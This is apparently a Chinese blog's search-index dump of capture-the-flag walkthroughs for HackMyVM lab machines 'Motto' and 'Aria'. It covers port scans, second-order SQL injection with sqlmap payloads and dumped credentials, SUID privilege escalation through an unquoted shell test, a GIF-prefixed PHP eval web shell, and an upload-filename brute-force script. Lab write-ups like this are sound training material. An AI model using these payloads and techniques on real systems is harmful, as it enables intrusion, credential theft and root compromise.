Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 23.76 seconds warn@kali:~$ nmap 192.168.56.151 -sC -sV -p 22,80,9090 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 15:53 CST Nmap scan report for 192.168.56.151 Host is up (0.0012s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: \\xE7\\x82\\xB9\\xE5\\x87\\xBB\\xE6\\x96\\xB9\\xE5\\x9D\\x97\\xE5\\xB0\\x8F\\xE6\\xB8\\xB8\\xE6\\x88\\x8F |_http-server-header: Apache/2.4.62 (Debian) 9090/tcp open http Golang net/http server |_http-title: Mottos | fingerprint-strings: | GenericLines, SqueezeCenter_CLI: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Content-Type: text/html; charset=utf-8 | Date: Mon, 13 Apr 2026 07:53:50 GMT | \u003c!DOCTYPE html\u003e | | | | Mottos | | ","date":"2026-04-13","heading":"端口扫描","objectID":"/p/motto/:1:1","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"Web 目录枚举与应用分析 80 端口目录枚举： warn@kali:/tmp/123$ gobuster dir -u http://192.168.56.151:80/ -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.56.151:80/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 279] /.htpasswd (Status: 403) [Size: 279] /.htaccess (Status: 403) [Size: 279] /index.php (Status: 200) [Size: 1908] /server-status (Status: 403) [Size: 279] Progress: 4613 / 4613 (100.00%) =============================================================== Finished =============================================================== 有用信息：80 端口存在 index.php，值得进一步分析。 80 端口的 Web 应用分析： http://192.168.56.151:80/ 的 index.php 页面是一个前端小游戏。对 JavaScript 和 HTML 进行简单审查后，未发现明显漏洞或敏感信息泄露。 9090 端口目录枚举： warn@kali:/tmp/123$ gobuster dir -u http://192.168.56.151:9090/ -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.56.151:9090/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /login (Status: 200) [Size: 1304] /register (Status: 200) [Size: 1326] /static (Status: 301) [Size: 43] [--\u003e /static/] Progress: 4613 / 4613 (100.00%) =============================================================== Finished =============================================================== 有用信息：发现可访问的 /login 和 /register 路由。 9090 端口的 HTTP Web 应用分析： http://192.168.56.151:9090 是一个展示用户座右铭的网站。 主要功能： 查看其他用户的座右铭。 编写自己的座右铭。 查看自己发布的座右铭。 在使用这些功能前需要先登录。由于手里没有现成账号，可以先通过 /register 注册一个账户： # 账户 21346 # 密码 123456 使用上面的账号和密码登录。 http://192.168.56.151:9090/myinfo：查看当前用户信息，并可修改昵称。 http://192.168.56.151:9090/mymottos：查看当前用户发布的 mottos。 先随便写几条 motto，再访问 /mymottos 页面，可以看到刚刚发布的内容： 当我们修改自己的昵称后，再次进入 /mymottos 页面： 刚才写入的 motto 消失了。 这个现象说明：motto 的展示结果与当前账户昵称有关，后端很可能根据昵称去数据库中查询数据，因此这里可能存在 SQL 注入。 注入点：/changeNickName 路由的 nickname 参数。 回显点：/mymottos 路由。 ","date":"2026-04-13","heading":"Web 目录枚举与应用分析","objectID":"/p/motto/:1:2","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#web-目录枚举与应用分析"},{"categories":["靶机复盘"],"collections":null,"content":"SQL 注入漏洞验证 通过抓包获取 /changeNickName 的 HTTP 请求包： POST /changeNickName HTTP/1.1 Host: 192.168.56.151:9090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 15 Origin: http://192.168.56.151:9090 Sec-GPC: 1 Connection: keep-alive Referer: http://192.168.56.151:9090/myinfo Cookie: yliken_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NzYwNzA2NjUsImlhdCI6IjIwMjYtMDQtMTNUMDQ6Mjc6NDUuNTg1NTA4MDYxLTA0OjAwIiwibmlja25hbWUiOiIxMjMiLCJ1c2VybmFtZSI6IjIxMzQ2In0.3jedFudqMk9H_aplZlyWJiWb_YYYHdWqG9cdcJctwyY Upgrade-Insecure-Requests: 1 Idempotency-Key: \"16469750719215318229\" Priority: u=0, i nickname=123456 将其写入 request.txt 文件中。 warn@kali:/tmp/123$ sqlmap -r request.txt -p nickname --second-url http://192.168.56.151:9090/mymottos --batch POST parameter 'nickname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests: --- Parameter: nickname (POST) Type: time-based blind Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP) Payload: nickname=123456' AND (SELECT 5338 FROM (SELECT(SLEEP(5)))lwhd) AND 'fTdo'='fTdo Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: nickname=123456' UNION ALL SELECT NULL,NULL,CONCAT(0x71626b7871,0x6b706e44725848716d7143444b4c4c58647351416b4a474769706b6a556442564446716b51554f4a,0x71716b6b71)-- - --- [16:41:54] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL \u003e= 5.0.12 (MariaDB fork) [16:41:54] [INFO] fetched data logged to text files under '/home/warn/.local/share/sqlmap/output/192.168.56.151' 可以确认这里确实存在 SQL 注入漏洞。 ","date":"2026-04-13","heading":"SQL 注入漏洞验证","objectID":"/p/motto/:2:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#sql-注入漏洞验证"},{"categories":["靶机复盘"],"collections":null,"content":"SQL 注入泄露数据库信息 先枚举数据库中的表： warn@kali:/tmp/123$ sqlmap -r request.txt -p nickname --second-url http://192.168.56.151:9090/mymottos --batch -tables +------------------------------------------------------+ | motto_infos | | register_infos | +------------------------------------------------------+ warn@kali:/tmp/123$ sqlmap -r request.txt -p nickname --second-url http://192.168.56.151:9090/mymottos --batch -D sql -columns Database: sql Table: motto_infos [3 columns] +-----------+--------------+ | Column | Type | +-----------+--------------+ | motto | varchar(500) | | motto_id | bigint(20) | | nick_name | varchar(25) | +-----------+--------------+ Database: sql Table: register_infos [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | nickname | varchar(25) | | password | varchar(50) | | user_id | bigint(20) | | username | varchar(25) | +----------+-------------+ register_infos 存储用户名和密码，motto_infos 存储 motto，因此这里重点查看 register_infos 表。 warn@kali:/tmp/123$ sqlmap -r request.txt -p nickname --second-url http://192.168.56.151:9090/mymottos --batch -D sql -T register_infos -dumps Database: sql Table: register_infos [4 entries] +---------+----------+-----------------+-----------------+ | user_id | nickname | password | username | +---------+----------+-----------------+-----------------+ | 1 | admin | admin is no use | admin is no use | | 2 | RedBean | cannotforgetyou | RedBean | | 4 | CUO | 123456 | 123456 | | 5 | 123456 | 123456 | 21346 | +---------+----------+-----------------+-----------------+ 后面两条是我们自己创建的，前面两条是原本就存在的账号。该靶机开放了 22 端口，因此 admin 和 RedBean 中大概率有一个可以用于 SSH 登录。结合 admin is no use 这个提示，基本可以判断 admin 不能直接用于 SSH，优先尝试 RedBean。 ","date":"2026-04-13","heading":"SQL 注入泄露数据库信息","objectID":"/p/motto/:3:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#sql-注入泄露数据库信息"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 Linux 用户名通常使用小写，因此这里将 RedBean 转成小写后尝试登录： warn@kali:/tmp/123$ ssh redbean@192.168.56.151 -p 22 redbean@192.168.56.151's password: Linux motto 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Apr 13 02:14:16 2026 from 192.168.56.1 -bash-5.0$ id uid=1000(redbean) gid=1000(redbean) groups=1000(redbean) # 这是因为我之前已经打过一遍，所以这里直接显示为 -bash-5.0$ ","date":"2026-04-13","heading":"初始访问","objectID":"/p/motto/:4:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"纵向移动 ","date":"2026-04-13","heading":"纵向移动","objectID":"/p/motto/:5:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#纵向移动"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 -bash-5.0$ ls -al total 32 drwxr-xr-x 3 redbean redbean 4096 Apr 13 02:43 . drwxr-xr-x 3 root root 4096 Jul 31 2025 .. drwxr-xr-x 2 root root 4096 Jul 31 2025 .backup lrwxrwxrwx 1 root root 9 Jul 31 2025 .bash_history -\u003e /dev/null -rw-r--r-- 1 redbean redbean 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 redbean redbean 3526 Apr 18 2019 .bashrc -rw-r--r-- 1 redbean redbean 807 Apr 18 2019 .profile -rw-r--r-- 1 root root 33 Jul 31 2025 user.txt -rw------- 1 redbean redbean 1287 Apr 13 02:43 .viminfo -bash-5.0$ cat .viminfo # This viminfo file was generated by Vim 8.2. # You may edit it if you're careful! # Viminfo version |1,4 # Value of 'encoding' when this file was written *encoding=utf-8 # hlsearch on (H) or off (h): ~h # Command Line History (newest to oldest): :q |2,0,1776062584,,\"q\" :q! |2,0,1753964787,,\"q!\" :wq! |2,0,1753964783,,\"wq!\" :wq |2,0,1753964775,,\"wq\" # Search String History (newest to oldest): # Expression History (newest to oldest): # Input Line History (newest to oldest): # Debug Line History (newest to oldest): # Registers: # File marks: '0 1 0 ~/.backup/new.sh |4,48,1,0,1776062584,\"~/.backup/new.sh\" '1 16 23 ~/.backup/run_newsh.c |4,49,16,23,1753964787,\"~/.backup/run_newsh.c\" # Jumplist (newest first): -' 1 0 ~/.backup/new.sh |4,39,1,0,1776062584,\"~/.backup/new.sh\" -' 16 23 ~/.backup/run_newsh.c |4,39,16,23,1753964787,\"~/.backup/run_newsh.c\" -' 16 23 ~/.backup/run_newsh.c |4,39,16,23,1753964787,\"~/.backup/run_newsh.c\" -' 1 0 ~/.backup/run_newsh.c |4,39,1,0,1753964766,\"~/.backup/run_newsh.c\" -' 1 0 ~/.backup/run_newsh.c |4,39,1,0,1753964766,\"~/.backup/run_newsh.c\" # History of marks within files (newest to oldest): \u003e ~/.backup/new.sh * 1776062583 0 \" 1 0 \u003e ~/.backup/run_newsh.c * 1753964785 0 \" 16 23 ^ 16 24 . 16 23 + 16 23 在 redbean 的家目录中发现了 .viminfo。这个文件是 Vim 编辑器的会话持久化文件，常常会记录最近编辑过的文件路径、跳转历史和部分操作痕迹，因此有时能帮助我们快速定位敏感文件。 根据 .viminfo 中留下的痕迹，可以注意到 .backup 目录下存在 new.sh 和 run_newsh.c。 -bash-5.0$ pwd /home/redbean/.backup -bash-5.0$ ls -al total 16 drwxr-xr-x 2 root root 4096 Jul 31 2025 . drwxr-xr-x 3 redbean redbean 4096 Apr 13 02:43 .. -r--r--r-- 1 root root 1709 Jul 31 2025 new.sh -rw-r--r-- 1 root root 509 Jul 31 2025 run_newsh.c -bash-5.0$ cat new.sh #!/bin/bash PATH=/usr/bin echo -e \"\\033[1;35m\" echo '▓▒░ Loading system diagnostics ░▒▓' echo -e \"\\033[0m\" echo -e \"\\033[1;34m[INFO]\\033[0m Initializing environment checks:\" for step in A B C; do echo -e \"\\033[1;33m ● Module ${step} status: OK (ver $(($RANDOM%5+1)).$(($RANDOM%20)).$(($RANDOM%500)))\\033[0m\" sleep 0.12 done echo \"Random seed value: $RANDOM\" echo -e \"\\033[1;34m[INFO]\\033[0m Evaluating input parameters...\" sleep 0.15 [ -n \"$1\" ] || exit 1 [ \"$1\" = \"flag\" ] \u0026\u0026 exit 2 [ $1 = \"flag\" ] \u0026\u0026 chmod +s /bin/bash echo -e \"\\033[1;34m[INFO]\\033[0m Running diagnostic sequence:\" for step in {1..3}; do echo -e \"\\033[1;35m → Executing test ${step} of 3\\033[0m\" sleep 0.2 done WAIT_TIME=$((RANDOM%5+2)) echo -e \"\\033[1;36m\\nWaiting period: \\033[3${WAIT_TIME}m${WAIT_TIME} seconds\\033[0m\" for ((i=WAIT_TIME; i\u003e=0; i--)); do case $((i%4)) in 0) COL=\"34\" ;; # 蓝 1) COL=\"32\" ;; # 绿 2) COL=\"31\" ;; # 红 3) COL=\"36\" ;; # 青 esac case $((i%2)) in 0) echo -e \"\\033[1;${COL}m\u003e\u003e Waiting T-${i} seconds...\\033[0m\" ;; 1) echo -e \"\\033[1;${COL}m\u003e\u003e Countdown: ${i}\\033[0m\" ;; esac [ $i -gt 0 ] \u0026\u0026 sleep 1 done RESULTS=( \"Diagnostics complete.\" \"All systems nominal.\" \"No errors detected.\" \"System stable.\" ) FINAL_MSG=${RESULTS[$RANDOM % ${#RESULTS[@]}]} echo -e \"\\033[1;32m${FINAL_MSG}\\033[0m\" echo -e \"\\033[1;34mThank you for using the system monitor.\\033[0m\" echo -e \"\\033[1;30m[STATS] Summary Report:\\033[0m\" echo -e \" Processes checked: $((RANDOM%60+20))\" echo -e \" CPU load average: $(echo \"scale=2; $RANDOM%10+0.5\" | bc)\" echo -e \" Uptime (hours): $((RANDOM%100+1))\" new.sh 的关键漏洞点如下： [ -n \"$1\" ] || exit 1 [ \"$1\" = \"flag\" ] \u0026\u0026 exit 2 [ $1 = \"flag\" ] \u0026\u0026 chmod +s /bin/bash 这三行逻辑分别表示： 如果第一个参数为空，就执行 exit 1。 如果第一个参数恰好等于 flag，就执行 exit 2。 第三行本意也是判断 $1 是否等于 flag，但这里的 $1 没有加引号，可能引发参数拆分和 test 语义变化，从而造成","date":"2026-04-13","heading":"系统信息枚举","objectID":"/p/motto/:5:1","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 -bash-5.0$ /opt/run_newsh \"! x\" ▓▒░ Loading system diagnostics ░▒▓ [INFO] Initializing environment checks: ● Module A status: OK (ver 5.14.307) ● Module B status: OK (ver 2.14.345) ● Module C status: OK (ver 4.6.164) Random seed value: 21274 [INFO] Evaluating input parameters... [INFO] Running diagnostic sequence: → Executing test 1 of 3 → Executing test 2 of 3 → Executing test 3 of 3 Waiting period: 6 seconds \u003e\u003e Waiting T-6 seconds... \u003e\u003e Countdown: 5 \u003e\u003e Waiting T-4 seconds... \u003e\u003e Countdown: 3 \u003e\u003e Waiting T-2 seconds... \u003e\u003e Countdown: 1 \u003e\u003e Waiting T-0 seconds... No errors detected. Thank you for using the system monitor. [STATS] Summary Report: Processes checked: 73 /opt/new.sh: line 60: bc: command not found CPU load average: Uptime (hours): 1 把第一个参数设置为 \u0026quot;! x\u0026quot; 的原因是： 第一个参数非空，因此可以通过第一处判断。 第一个参数不等于 flag，因此也能绕过第二处判断。 第三行在未加引号的情况下，会被解释成类似 [ ! x = \u0026quot;flag\u0026quot; ] 的测试逻辑；x = \u0026quot;flag\u0026quot; 为假，前面的 ! 会把结果取反，于是整个条件成立，最终执行 chmod +s /bin/bash。 这样一来，/bin/bash 就会获得 SUID 位。随后即可提权： -bash-5.0$ /bin/bash -p bash-5.0# id uid=1000(redbean) gid=1000(redbean) euid=0(root) egid=0(root) groups=0(root),1000(redbean) 这里虽然 uid 仍然是 redbean，但实际生效的是 euid=0(root)，因此已经具备 root 权限。 ","date":"2026-04-13","heading":"权限提升","objectID":"/p/motto/:5:2","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"获取 flag bash-5.0# cat user.txt flag{796f7567657472656[hidden] bash-5.0# cat /root/* flag{796f75676574726f6f74627574[hidden] ","date":"2026-04-13","heading":"获取 flag","objectID":"/p/motto/:6:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#获取-flag"},{"categories":["靶机复盘"],"collections":null,"content":"总结 核心攻击链如下： 端口扫描发现 22、80、9090 三个端口，其中 9090 是主要突破口。 在 Web 功能测试中发现 /changeNickName 存在 SQL 注入，并结合 sqlmap -r request.txt -p nickname --second-url 完成验证和利用。 通过注入读取 register_infos 表，拿到可用账号和密码。 根据 Linux 用户名通常为小写的习惯，使用 redbean 成功通过 SSH 登录。 登录后继续枚举，发现 /opt/run_newsh 会调用 /opt/new.sh，而脚本中存在危险判断：[ $1 = \u0026quot;flag\u0026quot; ] \u0026amp;\u0026amp; chmod +s /bin/bash。 由于 $1 没有加引号，存在参数拆分问题，传入 \u0026quot;! x\u0026quot; 后可使判断结果为真，从而给 /bin/bash 添加 SUID 位。 通过 /bin/bash -p 获取 root 权限，并读取用户 flag 和 root flag。 本靶机的重点主要有两个： SQL 注入利用链：先做功能测试，再用 sqlmap 验证注入点，最后进一步导出数据库内容。 Shell 脚本细节：\u0026quot;$1\u0026quot; 和 $1 的区别非常关键；变量未加引号时，可能被 shell 再次拆分，导致原本安全的字符串比较变成可被绕过的条件判断。 ","date":"2026-04-13","heading":"总结","objectID":"/p/motto/:7:0","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"杂谈 上面的总结部分是 AI 帮我整理的，我也顺便借这个机会学习一下复盘文章的写法。 我自己对系统信息枚举、Web 应用漏洞分析以及 sqlmap 的使用还不算熟练，但这次练习确实让我在信息收集和利用思路上都有了一些提升。 ","date":"2026-04-13","heading":"杂谈","objectID":"/p/motto/:7:1","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#杂谈"},{"categories":["靶机复盘"],"collections":null,"content":"sqlmap -r 用来让 sqlmap 从文件中读取原始 HTTP 请求。 request.txt 里通常是这种原始请求： POST /login HTTP/1.1 Host: 192.168.1.10 User-Agent: Mozilla/5.0 Cookie: PHPSESSID=abc123 Content-Type: application/x-www-form-urlencoded username=admin\u0026password=123456 -p 用来指定只测试哪些参数。 例子： 只测 id sqlmap -u \u0026quot;http://target/item.php?id=1\u0026amp;cat=2\u0026quot; -p id 同时测 id 和 cat sqlmap -u \u0026quot;http://target/item.php?id=1\u0026amp;cat=2\u0026quot; -p \u0026quot;id,cat\u0026quot; 测 id 和请求头 User-Agent sqlmap -u \u0026quot;http://target/item.php?id=1\u0026quot; -p \u0026quot;id,user-agent\u0026quot; --second-url 用来处理 二阶 SQL 注入。 注入点在 A 页面 提交。 但注入结果要到 B 页面 才能看到。 --second-url 的作用就是告诉 sqlmap：每次往 A 页面打 payload 后，再访问 B 页面来判断结果。 --second-req 也可以用来处理 二阶 SQL 注入。 当第二步请求比较复杂时，就需要提供完整请求包。 适用于第二个页面需要以下信息的情况： Cookie POST 数据 特殊 Header CSRF Token 自定义 Referer JSON Body 特定请求方法 典型使用方式 假设： 第一个请求：提交昵称 /changeNickName 第二个请求：查看昵称展示页 /mymottos 你可以准备两个文件： request.txt：注入入口请求 POST /changeNickName HTTP/1.1 Host: 192.168.56.151:9090 Cookie: yliken_cookie=xxx Content-Type: application/x-www-form-urlencoded nickname=123456 second.txt：结果查看请求 GET /mymottos HTTP/1.1 Host: 192.168.56.151:9090 Cookie: yliken_cookie=xxx 然后执行： sqlmap -r request.txt -p nickname --second-req second.txt --batch 执行流程 sqlmap 修改 request.txt 里的 nickname 参数并插入 payload。 向 /changeNickName 发起请求。 再读取 second.txt。 访问 /mymottos。 从 /mymottos 的响应中判断 payload 是否生效。 ","date":"2026-04-13","heading":"sqlmap","objectID":"/p/motto/:7:2","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#sqlmap"},{"categories":["靶机复盘"],"collections":null,"content":"Shell 基础知识 [ ... ] 这是 shell 中 test 命令的常见写法。 用来做字符串、数字、文件等条件判断。 注意：[ 和 ] 两边都要有空格。 $1 表示脚本的 第 1 个位置参数。 比如执行： ./test.sh hello 那么 $1 就是 hello。 在 Bash 中，\u0026quot;$var\u0026quot; 可以防止变量展开后被 shell 再次拆分，或者被当成通配符处理。 ","date":"2026-04-13","heading":"Shell 基础知识","objectID":"/p/motto/:7:3","tags":["HackMyVM","Easy"],"title":"Motto","uri":"/p/motto/#shell-基础知识"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Aria 的渗透测试与提权记录","date":"2026-04-11","objectID":"/p/aria/","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/"},{"categories":["靶机复盘"],"collections":null,"content":" 靶机名称 作者 难易程度 平台 Aria Sublarge 易 hackmyvm ","date":"2026-04-11","heading":"","objectID":"/p/aria/:0:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-04-11","heading":"信息收集","objectID":"/p/aria/:1:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 我发现普通状态下，无法扫描到所有开着的端口，所以我们先扫端口，再做版本检测： ┌──(root㉿kali)-[/home/kali] └─# nmap -p- 192.168.56.214 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 07:40 -0400 Nmap scan report for 192.168.56.214 Host is up (0.0023s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1337/tcp open waste MAC Address: 08:00:27:3D:08:6E (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 26.26 seconds ┌──(root㉿kali)-[/home/kali] └─# nmap -sC -sV 192.168.56.214 -p 22,80,1337 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 07:41 -0400 Nmap scan report for 192.168.56.214 Host is up (0.0020s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Ultra-Secure Naming Service |_http-server-header: Apache/2.4.62 (Debian) 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, RPCCheck: | --- Aria Debug Shell --- | Type 'exit' to quit --- | GenericLines: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: | Command not found: | GetRequest: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: GET / HTTP/1.0 | Command not found: | HTTPOptions: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: OPTIONS / HTTP/1.0 | Command not found: | Help: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: HELP | Kerberos: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: qj | RTSPRequest: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: OPTIONS / RTSP/1.0 | Command not found: | SSLSessionReq, TerminalServerCookie: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: | TLSSessionReq: | --- Aria Debug Shell --- | Type 'exit' to quit --- | Command not found: |_ random1random2random3random4 ....... # 这里省略了一些内容。 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 159.23 seconds 端口有： 22 80 1337 ：不是标准服务，基本上可以判断，其是一个自定义的TCP调试壳。 ","date":"2026-04-11","heading":"端口扫描","objectID":"/p/aria/:1:1","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"web目录枚举 ┌──(root㉿kali)-[/tmp/123] └─# dirsearch -u http://192.168.56.214/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /tmp/123/reports/http_192.168.56.214/__26-04-09_08-01-05.txt Target: http://192.168.56.214/ [08:01:05] Starting: # 中间的是无用的信息 [08:02:07] 301 - 318B - /uploads -\u003e http://192.168.56.214/uploads/ [08:02:07] 403 - 279B - /uploads/ [08:02:08] 200 - 596B - /upload.php Task Completed 还存在一个uploads目录，uploads目录并没有扫描出有用的信息。 ","date":"2026-04-11","heading":"web目录枚举","objectID":"/p/aria/:1:2","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#web目录枚举"},{"categories":["靶机复盘"],"collections":null,"content":"web应用分析 收集到的信息： 文件路径不可预测，文件名主要基于md5(time().rand(1,1000))生成的。 仅接受 gif / jpg / png ≤ 1 MB。 内容不可含 \u0026lt;?php。可能进行了文件内容的检测。 ","date":"2026-04-11","heading":"web应用分析","objectID":"/p/aria/:2:0","tags":["HackMyVM","Easy"],"title":"Aria","uri":"/p/aria/#web应用分析"},{"categories":["靶机复盘"],"collections":null,"content":"文件上传漏洞检测 这里先贴一个payload： 这个基本上可以绕过所有的文件上传检测。 我们先判断文件上传检测到底先检测的哪里： 修改文件名，可以上传成功。 修改MIME类型，发现仍然可以上传成功。 修改文件内容，上传失败。 从这里可以看出来，文件上传检测的是文件的内容，我们从最简单的绕过开始，在文件开头加GIF89a： 上传成功了，但是无法知道文件路径。 方法1： test.php: GIF89a \u003c?= eval($_GET[\"cmd\"]); ?\u003e upload_enum.py: import time import requests import hashlib def upload_file(path, url): print('start time:',time.time()) response = requests.post(url, files={'file': open(path, 'r')}) end_time = time.time() print('end time:',end_time) return int(end_time) def url_requests(time,url): for j in range(time-5,time+5): found = False for i in range(0,1001): filename = str(hashlib.md5(str(j).encode() + str(i).encode()).hexdigest()) + '.php' result_url = url + filename res = requests.get(url=result_url) if res.status_code != 404: print('File found:', result_url) found = True break if found: break if __name__ == '__main__': end_time = upload_file('./test.php', 'http://192.168.56.214/upload.php') print(end_time) url_requests(end_time, 'http://192.168.56.214/uploads/') 方法2 靶机有一个1337端口，是一个自定义的后门： ┌──(kali㉿kali)-[~] └─$ nc 192.168.56.214 1337 --- Aria Debug Shell --- --- Type 'exit' to quit --- $ help This shell aids admins in debugging Aria services. Use specific commands to view logs or hidden path. Note: Web interface also provides foothold access. $ showpath # 猜测一个特殊命令，这个特殊命令是可以看隐藏路径。 $ showpath --- Upload Paths --- Fri 10 Apr 2026 02:32:13 AM EDT: New file created: /var/www/html/uploads/ca3f2d3f399ab21a31f0b91662a60a94.php Fri 10 Apr 2026 02:33:18 AM EDT: New file created: /var/www/html/uploads/80264a6560beb87673ea57e1ffab1b29.php Fri 10 Apr 2026 02:33:57 AM EDT: New file created: /var/www/html/uploads/b825eacfe89fe7b5c8cac911d4c70152.php Fri 10 Apr 2026 02:34:22 AM EDT: New file created: /var/www/html/uploads/a3cc2a3783ddcaeefa5f015b2afa397c.php Fri 10 Apr 2026 02:34:44 AM EDT: New file created: /var/www/html/uploads/8c3733dbc7106d0335f1fe4f1beeef6f.php Fri 10 Apr 2026 02:35:44 AM EDT: New file created: /var/www/html/uploads/45bac5a2c86218f8d4306aae50c17956.php Fri 10 Apr 2026 02:36:23 AM EDT: New file created: /var/www/html/uploads/8e9413fd0796b8eb63415135752449d8.php Fri 10 Apr 2026 02:39:09 AM EDT: New file created: /var/www/html/uploads/cca77e1fecc17cd505aaa4a58d783e8c.php Fri 10 Apr 2026 02:39:52 AM EDT: New file created: /var/www/html/uploads/81f7662ad57ce65aaeed87cd8c79654e.php Fri 10 Apr 2026 02:41:12 AM EDT: New file created: /var/www/html/uploads/869cf1900fcd20ca7347c3f24bc252e2.php Fri 10 Apr 2026 02:42:45 AM EDT: New file created: /var/www/html/uploads/f2447e0be56b4d5bce46a2b00f11b63a.php Fri 10 Apr 2026 02:43:07 AM EDT: New file created: /var/www/html/uploads/23e8f32e0eea787b7d511683b1b92140.php Fri 10 Apr 2026 02:44:48 AM EDT: New file created: /var/www/html/uploads/e166b84b95785109ee207b025e98a9ca.php --- End of Log --- 